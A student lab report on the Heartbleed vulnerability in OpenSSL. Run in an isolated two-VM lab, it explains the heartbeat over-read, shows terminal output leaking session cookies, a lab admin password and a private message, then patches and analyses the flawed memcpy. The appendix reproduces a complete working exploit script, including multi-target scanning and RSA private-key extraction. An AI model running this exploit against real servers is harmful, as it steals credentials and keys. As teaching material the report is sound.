

MH4921  
Supervised Independent Study II

**Heartbleed Attack**

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# 1 Introduction

The Heartbleed bug is a severe vulnerability in the OpenSSL library that was discovered in 2014 (CVE-2014-0160). This allowed attackers to obtain data located on the server's memory and may contain sensitive data such as usernames, passwords, credit card details etc although the communication channel is encrypted with SSL/TLS. Attackers may also use this method to defeat encrypted traffic by reading the encryption keys off the server memory and can be used to steal data without being detected.

The affected service is in the heartbeat extension, which is used to keep the encrypted SSL/TLS connection alive without requiring renegotiation<sup>1</sup>.

On a normal packet, the data that is being requested is copied to the memory of the server and used to construct a response packet back to the user. As the length of the data requested is the same as the length of the data in the memory, there is no leaking of sensitive data. However, if the `payload_length` field has a value larger than the data that is being requested, the request packet will include data in memory locations what has been requested. Figure 1 and 2 respectively depicts in graphical form how the heartbeat protocol operates and the Heartbleed attack is executed on the same platform.




Figure 1: Heartbeat Communication

<sup>1</sup>RFC 6520




Figure 2: Heartbleed Attack

## 2 Overview

This report provides a hands-on analysis on how the exploit can be used to extract confidential and sensitive information from outdated and unpatched servers. Furthermore, it will also look at the code to determine the absence of a safety mechanism that could have prevented this bug from being exploited. (Note: Newer versions of OpenSSL ( $>1.0.1f$ ) do not have this vulnerability and cannot be replicated on newer Operating Systems (OS). This is so as older OpenSSL versions are not available in repositories for newer OS, with the exception of Windows as previous versions installers can still be found on the internet.)

## 3 Attack Sequence

### 3.1 Virtual Machine (VM) Preparation

#### 3.1.1 Network Setup

2 VMs are deployed to the same network using the provided Ubuntu 12.04 image. The topography of the network with the respective IP addresses are reflected in Figure 3.




Figure 3: Network Configuration

#### 3.1.2 Editing HOSTS file

The `hosts` file is used to forcibly map domains to defined IP addresses of the user's choosing. Any form of requests that are made to the domains present in the hosts file are redirected to the IP address stated within the file.

As it is illegal to hack any websites over the internet, a Content Management System (CMS) from Elgg has been installed for this purpose and is accessible through the server VM. To redirect the domain name on the attacker's VM to the server VM, the hosts file needs to be modified. The hosts file is located at `/etc/hosts` and can only be edited using a privileged account. In the hosts file, the entry for `www.heartbleedlabelgg.com` has its IP address modified from `127.0.0.1` to `192.168.43.157`.

## 3.2 Heartbleed Attack

To initiate the attack, enough data must be on the server for the attack to be successful. Some interactions were performed on the server.

1. Logging in using the site administrator account (username: admin, password: seedelgg)
2. Adding “Boby” as a friend
3. Sending “Boby” a private message

The private message that was sent has a subject field and a message field, similar to the format used in emails. The figure below displays the message that was sent from the administrator to “Boby”.



Figure 4: Private Message

The code that is being used is in a file named `attack.py` and has been provided as a Github fork from “sh1n0b1” as it requires a deep understanding of the Heartbeat protocol to write code that exploits this vulnerability. The code has been attached to the Appendix for reference.

Before we can use the code to initiate the attack, it must first be marked as executable by using the command `chmod 775 attack.py`. After which, the code can be run by using the following line.

```
$ attack.py http://www.heartbleedlabelgg.com
```

Executing the code may result in unrelated data being printed and may multiple tries to extract useful information. Figure 5 shows one of the multiple results obtained from the code execution.

```

Terminal
[07/16/2018 10:22] root@ubuntu:/home/seed/Desktop# attack.py www.heartbleedlabelgg.com

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####

.@. AAAAAAAAAAAAAAAAAAAAAABCEFGHIJKLMNOPABC...
...!.9.8.....5.....
.....3.2.....E.D...../...A.....I.....
.....
.....#
[07/16/2018 10:22] root@ubuntu:/home/seed/Desktop#

```

Figure 5: No Information Exposed

However, instead of relying on random data being printed from the code, the code provides a feature to increase the amount of data that can be read from the server memory by explicitly specifying the length. The “-l” option is specified with a longer length (default is 16384), such as 65535 (Maximum length is payload.length is stored as a 2 byte unsigned integer). Doing so, the amount of tries required to expose the same amount of information can be decreased. A longer length could also prevent the acquired data from being cut-off and requiring extra executions. Figure 6 and 7 shows how sensitive information can be exposed even when there is encryption between the endpoints.

```

Terminal
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####

.. AAAAAAAAAAAAAAAAAAAAAABCEFGHIJKLMNOPABC...
...!.9.8.....5.....
.....3.2.....E.D...../...A.....I.....
.....
.....#.....-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.heartbleedlabelgg.com/messages/read/44
Cookie: Elgg=ip12nl23bfpep0har42jv5s0i0
Connection: keep-alive
If-None-Match: "1449721729"

sG...l..WsJp7..^...%.....!.C..... "257-5032e3d7cd92c"

..S...?...?.....#.....5abb2f&_elgg_ts=1531756865&username=admin&password=seedelggx.[.0.T...F
....M
[07/16/2018 10:41] root@ubuntu:/home/seed/Desktop#

```

Figure 6: Username and Password Exposed

```

Terminal
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####

...AAAAAAAAAAAAAAAAAAAAABCDEFGHJKLMNOABC...
...!.9.8.....5.....
.....3.2.....E.D...../...A.....I.....
.....
.....#.....;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.heartbleedlabelgg.com/messages/inbox/admin
Cookie: Elgg=p443v8usaogq08ud9iqj4l760
Connection: keep-alive

q0...N.../J...?C100.Q...e3d7cd92c"
Cache-Control: max-age=0

#.u.m0.4.S'X.S.....B.....=0

..y.i'...%.U.....ecipient_guid=40&subject=Hi+%28Lab%29&body=Hi%2C+testing+private+messag
e+system.a.k]...z..&5W..[.S

[07/16/2018 10:43] root@ubuntu:/home/seed/Desktop#

```

Figure 7: Private Message Exposed

Furthermore, some executions will also print the “Referer” field which gives us extra insight on what interactions were made with the system, if the links are human readable.

In addition, an interesting observation to note that is if the length is small, little useful information will be printed as fields such as the language, encoding, referer, cookie names will reflect minimal differences, or duplicated at best.

To determine the amount of data that is sent normally without any leaking of data, the length of the data requested must be decreased. To speed up the determination, the length is halved until the string “Server processed malformed Heartbeat, but did not return any extra data.” has been displayed and slowly increased until the string is no longer printed. The length was determined to be 22 and Figure displays the output when the length is set to 22 and 23 respectively.

```

Terminal
[07/16/2018 15:23] root@ubuntu:/home/seed/Desktop# attack.py www.heartbleedlabelgg.com -l 22
defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....
Server processed malformed heartbeat, but did not return any extra data.
Analyze the result....
Received alert:
Please wait... connection attempt 1 of 1
#####
.F
[07/16/2018 15:23] root@ubuntu:/home/seed/Desktop#

```

```

Terminal
[07/16/2018 15:23] root@ubuntu:/home/seed/Desktop# attack.py www.heartbleedlabelgg.com -l 23
defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....
WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####
\..AAAAAAAAAAAAAAAAAAAAABC.7....D...B.-.%
[07/16/2018 15:23] root@ubuntu:/home/seed/Desktop#

```

(a) Length 22

(b) Length 23

Figure 8: Different Length Results


### 3.3 Countermeasures, Bug Fix & Code Analysis

We start this task by taking a snapshot of the VM as the OpenSSL version needs to be updated and downgrading later will be problematic. To update OpenSSL, the following 2 lines of code are executed in Terminal.



```
$ sudo apt-get update -y
$ sudo apt-get upgrade -y
```

When the same attack is executed again, no further information is displayed. This shows that the critical vulnerability has been patched and cannot be exploited with the newer versions. Figure 9 shows the output of the code after updating.



```
Terminal
[07/16/2018 22:35] seed@ubuntu:~/Desktop$ attack.py www.heartbleedlabelgg.com -l 3000

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...
Received alert:
Please wait... connection attempt 1 of 1
#####
.F
[07/16/2018 22:36] seed@ubuntu:~/Desktop$
```

Figure 9: No Data Leak

Next, we need to analyse the code that causes OpenSSL to be vulnerable. The code has been attached to the Appendix for reference.

If we look at the code that generates the response packet, the line containing `memcpy(bp,p1,payload)` stands out as it becomes apparent that pointer `p1` is only referenced previously as a placement pointer, which means that the size of the actual payload is not checked. In the event that the length of the payload is smaller than the declared payload length, the pointer `p1` will exceed the boundary of the payload, read the padding and eventually read the surrounding memory regions, depending on the declared length of the payload and the location of `malloc` in the memory region.

A simple method to fix this is to add an extra line to check if the length of the payload is exactly as declared in the `payload.length` field.

### 3.4 Discussion

This section will look at the discussion based on three statements made by Alice, Bob and Eva based on the fundamental cause of the Heartbleed vulnerability.

1. Alice: Fundamental cause is missing the boundary checking during the buffer copy
2. Bob: Missing input validation
3. Eva: Delete the length value from the packet to solve everything

When performing boundary checking, performance will be affected as the variable will always need to be checked, which is not efficient as SSL/TLS transactions

will slow down the servers. Missing input validations does not eliminate the error of mismatched length even when the input is valid (between 1 and 65535). Deleting the input field does not solve the issue as the length must be known for the response packet to have the correct amount of information.

## 4 Appendix

### 4.1 attack.py

```
1  #!/usr/bin/python
2
3  # Code originally from https://gist.github.com/eelsivart/10174134
4  # Modified by Haichao Zhang
5  # Last Updated: 2/12/15
6  # Version 1.20
7  #
8  # -added option to the payload length of the heartbeat payload
9  # Don't forget to "chmod 775 ./attack.py" to make the code
   ↪ executable
10 # Students can use eg. "./attack.py www.seedlabelgg.com -l
   ↪ 0x4001" to send the heartbeat request with payload length
   ↪ variable=0x4001
11 # The author disclaims copyright to this source code.
12
13 import sys
14 import struct
15 import socket
16 import time
17 import select
18 import re
19 import time
20 import os
21 from optparse import OptionParser
22
23 options = OptionParser(usage='%prog server [options]',
   ↪ description='Test and exploit TLS heartbeat vulnerability aka
   ↪ heartbleed (CVE-2014-0160)')
24 options.add_option('-p', '--port', type='int', default=443,
   ↪ help='TCP port to test (default: 443)')
25 options.add_option('-l', '--length', type='int',
   ↪ default=0x4000,dest="len", help='payload length to test
   ↪ (default: 0x4000)')
26 options.add_option('-n', '--num', type='int', default=1,
   ↪ help='Number of times to connect/loop (default: 1)')
27 options.add_option('-s', '--starttls', action="store_true",
   ↪ dest="starttls", help='Issue STARTTLS command for
   ↪ SMTP/POP/IMAP/FTP/etc...')
28 options.add_option('-f', '--filein', type='str', help='Specify
   ↪ input file, line delimited, IPs or hostnames or IP:port or
   ↪ hostname:port')
```

```

29 options.add_option('-v', '--verbose', action="store_true",
    ↪ dest="verbose", help='Enable verbose output')
30 options.add_option('-x', '--hexdump', action="store_true",
    ↪ dest="hexdump", help='Enable hex output')
31 options.add_option('-r', '--rawoutfile', type='str', help='Dump
    ↪ the raw memory contents to a file')
32 options.add_option('-a', '--ascioutfile', type='str', help='Dump
    ↪ the ascii contents to a file')
33 options.add_option('-d', '--donotdisplay', action="store_true",
    ↪ dest="donotdisplay", help='Do not display returned data on
    ↪ screen')
34 options.add_option('-e', '--extractkey', action="store_true",
    ↪ dest="extractkey", help='Attempt to extract RSA Private Key,
    ↪ will exit when found. Choosing this enables -d, do not display
    ↪ returned data on screen.')
35
36 opts, args = options.parse_args()
37
38 if opts.extractkey:
39     import base64, gmpy
40     from pyasn1.codec.der import encoder
41     from pyasn1.type.univ import *
42
43 def hex2bin(arr):
44     return ''.join('{:02x}'.format(x) for x in arr).decode('hex')
45
46 tls_versions = {0x01: 'TLSv1.0', 0x02: 'TLSv1.1', 0x03: 'TLSv1.2'}
47
48 def build_client_hello(tls_ver):
49     client_hello = [
50
51         # TLS header ( 5 bytes)
52         0x16, # Content type (0x16 for handshake)
53         0x03, tls_ver, # TLS Version
54         0x00, 0xdc, # Length
55
56         # Handshake header
57         0x01, # Type (0x01 for ClientHello)
58         0x00, 0x00, 0xd8, # Length
59         0x03, tls_ver, # TLS Version
60
61         # Random (32 byte)
62         0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b,
63         0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97,
64         0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85,
65         0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde,

```

```

66 0x00,          # Session ID length
67 0x00, 0x66,    # Cipher suites length
68
69 # Cipher suites (51 suites)
70 0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21,
71 0x00, 0x39, 0x00, 0x38, 0x00, 0x88, 0x00, 0x87,
72 0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84,
73 0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c, 0xc0, 0x1b,
74 0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03,
75 0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09, 0xc0, 0x1f,
76 0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a,
77 0x00, 0x99, 0x00, 0x45, 0x00, 0x44, 0xc0, 0x0e,
78 0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41,
79 0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c, 0xc0, 0x02,
80 0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12,
81 0x00, 0x09, 0x00, 0x14, 0x00, 0x11, 0x00, 0x08,
82 0x00, 0x06, 0x00, 0x03, 0x00, 0xff,
83 0x01,          # Compression methods length
84 0x00,          # Compression method (0x00 for NULL)
85 0x00, 0x49,    # Extensions length
86
87 # Extension: ec_point_formats
88 0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02,
89
90 # Extension: elliptic_curves
91 0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e,
92 0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c,
93 0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16,
94 0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07,
95 0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05,
96 0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02,
97 0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11,
98
99 # Extension: SessionTicket TLS
100 0x00, 0x23, 0x00, 0x00,
101
102 # Extension: Heartbeat
103 0x00, 0x0f, 0x00, 0x01, 0x01
104 ]
105     return client_hello
106
107 def build_heartbeat(tls_ver):
108     heartbeat = [
109         0x18,          # Content Type (Heartbeat)
110         0x03, tls_ver, # TLS version
111         0x00, 0x29,    # Length

```

```

112
113 # Payload
114 0x01, # Type (Request)
115 opts.len/256, opts.len%256, # Payload length
116 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
117 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
118 0x41, 0x41, 0x41, 0x41, 0x41, 0x42, 0x43, 0x44,
119 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C,
120 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45,
121 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D,
122 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44,
123 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C,
124 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45,
125 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D,
126 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44,
127 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C,
128 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45,
129 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D,
130 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44,
131 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C,
132 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45,
133 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D,
134 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44,
135 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C,
136 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45,
137 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D,
138 0x4E, 0x4F
139 ]
140     return heartbeat
141
142 if opts.rawoutfile:
143     rawfileOUT = open(opts.rawoutfile, "a")
144
145 if opts.asciifile:
146     asciifileOUT = open(opts.asciifile, "a")
147
148 if opts.extractkey:
149     opts.donotdisplay = True
150
151 def hexdump(s):
152     pdat = ''
153     hexd = ''
154     for b in xrange(0, len(s), 16):
155         lin = [c for c in s[b : b + 16]]
156         if opts.hexdump:
157             hxdat = ' '.join('%02X' % ord(c) for c in lin)

```

```

158         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for
        ↪ c in lin)
159         hexd += ' %04x: %-48s %s\n' % (b, hxdat, pdat)
160     else:
161         pdat += ''.join((c if ((32 <= ord(c) <= 126) or
        ↪ (ord(c) == 10) or (ord(c) == 13)) else '.' )for c
        ↪ in lin)
162
163     if opts.hexdump:
164         return hexd
165
166     else:
167         pdat = re.sub(r'([.]{50,})', '', pdat)
168         if opts.asciifile:
169             asciifileOUT.write(pdat)
170         return pdat
171
172
173
174 def rcv_tls_record(s):
175     print 'Analyze the result....'
176     try:
177         tls_header = s.recv(5)
178         if not tls_header:
179             print 'Unexpected EOF (header)'
180             return None,None,None
181         typ,ver,length = struct.unpack('>BHH',tls_header)
182         message = ''
183         while len(message) != length:
184             message += s.recv(length-len(message))
185
186         if not message:
187             print 'Unexpected EOF (message)'
188             return None,None,None
189
190         if opts.verbose:
191             print 'Received message: type = {}, version = {},
            ↪ length = {}'.format(typ,hex(ver),length,)
192
193         return typ,ver,message
194
195     except Exception as e:
196         print "\nError Receiving Record! " + str(e)
197         return None,None,None
198
199 def hit_hb(s, targ, firstrun, supported):

```

```

200     s.send(hex2bin(build_heartbeat(supported)))
201     while True:
202         typ, ver, pay = rcv_tls_record(s)
203         if typ is None:
204             print 'No heartbeat response received, server likely
                ↳ not vulnerable'
205             return ''
206
207         if typ == 24:
208             if opts.verbose:
209                 print 'Received heartbeat response...'
210             if len(pay) > 0x29:
211                 if firststrun or opts.verbose:
212                     print '\nWARNING: ' + targ + ':' +
                ↳ str(opts.port) + ' returned more data than
                ↳ it should - server is vulnerable!'
213                 if opts.rawoutfile:
214                     rawfileOUT.write(pay)
215                 if opts.extractkey:
216                     return pay
217                 else:
218                     return hexdump(pay)
219             else:
220                 print 'Server processed malformed heartbeat, but
                ↳ did not return any extra data.'
221
222         if typ == 21:
223             print 'Received alert:'
224             return hexdump(pay)
225             print 'Server returned error, likely not vulnerable'
226             return ''
227
228     def conn(targ, port):
229         try:
230             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
231             sys.stdout.flush()
232             s.settimeout(10)
233             #time.sleep(0.2)
234             s.connect((targ, port))
235             return s
236
237         except Exception as e:
238             print "Connection Error! " + str(e)
239             return None
240
241     def bleed(targ, port):

```



```

242     try:
243         res = ''
244         firstrun = True
245         print
246         ↪ '\n#####'
247         print 'Connecting to: ' + targ + ':' + str(port) + ', ' +
248         ↪ str(opts.num) + ' times'
249         for x in range(0, opts.num):
250             if x > 0:
251                 firstrun = False
252
253             if x == 0 and opts.extractkey:
254                 print "Attempting to extract private key from
255                 ↪ returned data..."
256                 if not os.path.exists('./hb-certs'):
257                     os.makedirs('./hb-certs')
258                 print '\nGrabbing public cert from: ' + targ + ':'
259                 ↪ + str(port) + '\n'
260                 os.system('echo | openssl s_client -connect ' +
261                 ↪ targ + ':' + str(port) + ' -showcerts |
262                 ↪ openssl x509 > hb-certs/sslcert_' + targ +
263                 ↪ '.pem')
264                 print '\nExtracting modulus from cert...\n'
265                 os.system('openssl x509 -pubkey -noout -in
266                 ↪ hb-certs/sslcert_' + targ + '.pem >
267                 ↪ hb-certs/sslcert_' + targ + '_pubkey.pem')
268                 output = os.popen('openssl x509 -in
269                 ↪ hb-certs/sslcert_' + targ + '.pem -modulus
270                 ↪ -noout | cut -d= -f2')
271                 modulus = output.read()
272
273                 s = conn(targ, port)
274                 if not s:
275                     continue
276
277                 # send starttls command if specified as an option or
278                 ↪ if common smtp/pop3/imap ports are used
279                 if (opts.starttls) or (port in {25, 587, 110, 143,
280                 ↪ 21}):
281                     stls = False
282                     atls = False
283
284                     # check if smtp supports starttls/stls
285                     if port in {25, 587}:
286                         print 'SMTP Port... Checking for STARTTLS
287                         ↪ Capability...'

```

```

274         check = s.recv(1024)
275         s.send("EHLO someone.org\n")
276         sys.stdout.flush()
277         check += s.recv(1024)
278         if opts.verbose:
279             print check
280
281         if "STARTTLS" in check:
282             opts.starttls = True
283             print "STARTTLS command found"
284
285         elif "STLS" in check:
286             opts.starttls = True
287             stls = True
288             print "STLS command found"
289
290         else:
291             print "STARTTLS command NOT found!"
292             print
293             ↪ '#####'
294             return
295
296     # check if pop3/imap supports starttls/stls
297     elif port in {110, 143}:
298         print 'POP3/IMAP4 Port... Checking for
299         ↪ STARTTLS Capability...'
300         check = s.recv(1024)
301         if port == 110:
302             s.send("CAPA\n")
303         if port == 143:
304             s.send("CAPABILITY\n")
305         sys.stdout.flush()
306         check += s.recv(1024)
307         if opts.verbose:
308             print check
309         if "STARTTLS" in check:
310             opts.starttls = True
311             print "STARTTLS command found"
312         elif "STLS" in check:
313             opts.starttls = True
314             stls = True
315             print "STLS command found"
316         else:
317             print "STARTTLS command NOT found!"
318             print
319             ↪ '#####'

```

```

317         return
318
319     # check if ftp supports auth tls/starttls
320     elif port in {21}:
321         print 'FTP Port... Checking for AUTH TLS
322             ↪ Capability...'
323         check = s.recv(1024)
324         s.send("FEAT\n")
325         sys.stdout.flush()
326         check += s.recv(1024)
327         if opts.verbose:
328             print check
329         if "STARTTLS" in check:
330             opts.starttls = True
331             print "STARTTLS command found"
332         elif "AUTH TLS" in check:
333             opts.starttls = True
334             atls = True
335             print "AUTH TLS command found"
336         else:
337             print "STARTTLS command NOT found!"
338             print
339             ↪ '#####'
340             return
341
342     # send appropriate tls command if supported
343     if opts.starttls:
344         sys.stdout.flush()
345         if stls:
346             print 'Sending STLS Command...'
347             s.send("STLS\n")
348         elif atls:
349             print 'Sending AUTH TLS Command...'
350             s.send("AUTH TLS\n")
351         else:
352             print 'Sending STARTTLS Command...'
353             s.send("STARTTLS\n")
354         if opts.verbose:
355             print 'Waiting for reply...'
356         sys.stdout.flush()
357         rcv_tls_record(s)
358
359     supported = False
360     for num,tlsver in tls_versions.items():
361
362         if firstrun:

```

```

361         print 'Sending Client Hello for
           ↳ {}'.format(tlsver)
362     s.send(hex2bin(build_client_hello(num)))
363
364     if opts.verbose:
365         print 'Waiting for Server Hello...'
366
367     while True:
368         typ,ver,message = rcv_tls_record(s)
369         if not typ:
370             if opts.verbose:
371                 print 'Server closed connection
                       ↳ without sending ServerHello for
                       ↳ {}'.format(tlsver)
372             s.close()
373             s = conn(targ, port)
374             break
375         if typ == 22 and ord(message[0]) == 0x0E:
376             if firstrun:
377                 print 'Received Server Hello for
                       ↳ {}'.format(tlsver)
378                 supported = True
379                 break
380             if supported: break
381
382     if not supported:
383         print '\nError! No TLS versions supported!'
384         print
           ↳ '#####'
385         return
386
387     if opts.verbose:
388         print '\nSending heartbeat request...'
389     sys.stdout.flush()
390
391     keyfound = False
392     if opts.extractkey:
393         res = hit_hb(s, targ, firstrun, supported)
394         if res == '':
395             continue
396         keyfound = extractkey(targ, res, modulus)
397     else:
398         res += hit_hb(s, targ, firstrun, supported)
399     s.close()
400     if keyfound:
401         sys.exit(0)

```

```

402         else:
403             sys.stdout.write('\rPlease wait... connection
↳ attempt ' + str(x+1) + ' of ' + str(opts.num))
404             sys.stdout.flush()
405
406         print
407         ↳ '\n#####'
408         print
409         return res
410
411     except Exception as e:
412         print "Error! " + str(e)
413         print
414         ↳ '#####'
415         print
416
417     def extractkey(host, chunk, modulus):
418         #print "\nChecking for private key...\n"
419         n = int (modulus, 16)
420         keysize = n.bit_length() / 16
421
422         for offset in xrange (0, len (chunk) - keysize):
423             p = long (''.join (["%02x" % ord (chunk[x]) for x in
↳ xrange (offset + keysize - 1, offset - 1,
↳ -1)]).strip(), 16)
424             if gmpy.is_prime (p) and p != n and n % p == 0:
425                 if opts.verbose:
426                     print '\n\nFound prime: ' + str(p)
427                 e = 65537
428                 q = n / p
429                 phi = (p - 1) * (q - 1)
430                 d = gmpy.invert (e, phi)
431                 dp = d % (p - 1)
432                 dq = d % (q - 1)
433                 qinv = gmpy.invert (q, p)
434                 seq = Sequence()
435                 for x in [0, n, e, d, p, q, dp, dq, qinv]:
436                     seq.setComponentByPosition (len (seq), Integer
↳ (x))
437                 print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END
↳ RSA PRIVATE KEY-----\n\n" %
↳ base64.encodestring(encoder.encode (seq))
438                 privkeydump = open("hb-certs/privkey_" + host +
↳ ".dmp", "a")
439                 privkeydump.write(chunk)
440                 return True

```

```

439
440         else:
441             return False
442
443 def main():
444     print "\ndefribulator v1.20"
445     print "A tool to test and exploit the TLS heartbeat
         ↳ vulnerability aka heartbleed (CVE-2014-0160)"
446     allresults = ''
447
448     # if a file is specified, loop through file
449     if opts.filein:
450         fileIN = open(opts.filein, "r")
451
452         for line in fileIN:
453             targetinfo = line.strip().split(":")
454             if len(targetinfo) > 1:
455                 allresults = bleed(targetinfo[0],
         ↳ int(targetinfo[1]))
456             else:
457                 allresults = bleed(targetinfo[0], opts.port)
458
459                 if allresults and (not opts.donotdisplay):
460                     print '%s' % (allresults)
461         fileIN.close()
462
463     else:
464         if len(args) < 1:
465             options.print_help()
466             return
467         allresults = bleed(args[0], opts.port)
468         if allresults and (not opts.donotdisplay):
469             print '%s' % (allresults)
470
471     print
472
473     if opts.rawoutfile:
474         rawfileOUT.close()
475
476     if opts.asciifile:
477         asciifileOUT.close()
478
479 if __name__ == '__main__':
480     main()

```

## 4.2 OpenSSL.c

```
1  /* Allocate memory for the response, size is 1 byte
2   * message type, plus 2 bytes payload length, plus
3   * payload, plus padding
4   */
5
6  unsigned int payload;
7  unsigned int padding = 16; /* Use minimum padding */
8
9  // Read from type field first
10 hbtype = *p++; /* After this instruction, the pointer
11                * p will point to the payload_length field. */
12
13 // Read from the payload_length field
14 // from the request packet
15 n2s(p, payload); /* Function n2s(p, payload) reads 16 bits
16                   * from pointer p and store the value
17                   * in the INT variable "payload". */
18
19 pl=p; // pl points to the beginning of the payload content
20
21 if (hbtype == TLS1_HB_REQUEST)
22 {
23     unsigned char *buffer, *bp;
24     int r;
25
26     /* Allocate memory for the response, size is 1 byte
27      * message type, plus 2 bytes payload length, plus
28      * payload, plus padding
29      */
30
31     buffer = OPENSSL_malloc(1 + 2 + payload + padding);
32     bp = buffer;
33
34     // Enter response type, length and copy payload
35     *bp++ = TLS1_HB_RESPONSE;
36     s2n(payload, bp);
37
38     // copy payload
39     memcpy(bp, pl, payload); /* pl is the pointer which
40                              * points to the beginning
41                              * of the payload content */
42
43     bp += payload;
44
```

```

45      // Random padding
46      RAND_pseudo_bytes(bp, padding);
47
48      // this function will copy the 3+payload+padding bytes
49      // from the buffer and put them into the heartbeat
      ↪ response
50      // packet to send back to the request client side.
51      OPENSSL_free(buffer);
52      r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer,
53      3 + payload + padding);
54  }

```